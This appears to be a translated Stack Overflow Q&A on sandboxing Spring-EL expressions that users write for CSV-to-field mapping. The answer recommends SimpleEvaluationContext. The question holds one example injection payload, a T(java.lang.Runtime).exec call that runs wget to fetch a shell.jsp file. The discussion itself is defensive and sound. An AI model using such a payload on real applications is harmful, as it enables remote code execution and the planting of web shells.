Spring-EL表达式可以在沙箱中执行吗?

Mar*_*ers 4 spring sandbox spring-el

我正在使用 Spring-EL 创建动态 csv 字段到类字段映射,用于不同的 Spring-Batch 导入作业。(不同的输入文件,相同的输出类)。这工作得很好,但想法是用户必须能够创建这样的映射配置。

问题在于 Spring-EL 表达式不是在某种沙箱内执行的,因此很容易注入恶意代码。例如:

name: T(java.lang.Runtime).getRuntime().exec("wget http://localhost:8090/shell.jsp")

我的问题是,如何在某种沙箱中运行 Spring-EL 或限制仅访问一组特定的方法/类?我找不到与该主题相关的任何内容。也许 Spring-EL 不是这项工作的正确选择。

我试图实现的目标的示例:

name: column[0]
category: concat(' ', column[18], column[19])
age: split(column[3], '/', 0)
Run Code Online (Sandbox Code Playgroud)

Art*_*lan 5

旨在SimpleEvaluationContext减少应用程序漏洞。

有关更多信息,请参阅https://docs.spring.io/spring/docs/5.1.2.RELEASE/spring-framework-reference/core.html#expressions-evaluation-context :

SimpleEvaluationContext旨在仅支持 SpEL 语言语法的子集。它不包括 Java 类型引用、构造函数和 bean 引用。它还要求您显式选择表达式中属性和方法的支持级别。默认情况下,create()静态工厂方法仅启用对属性的读取访问。

编辑:请注意,正如OP对其自己的问题进行评论一样,这可以用于允许通过执行以下操作来调用实例方法:

SimpleEvaluationContext.forReadOnlyDataBinding().withInstanceMethods().build(); 
Run Code Online (Sandbox Code Playgroud)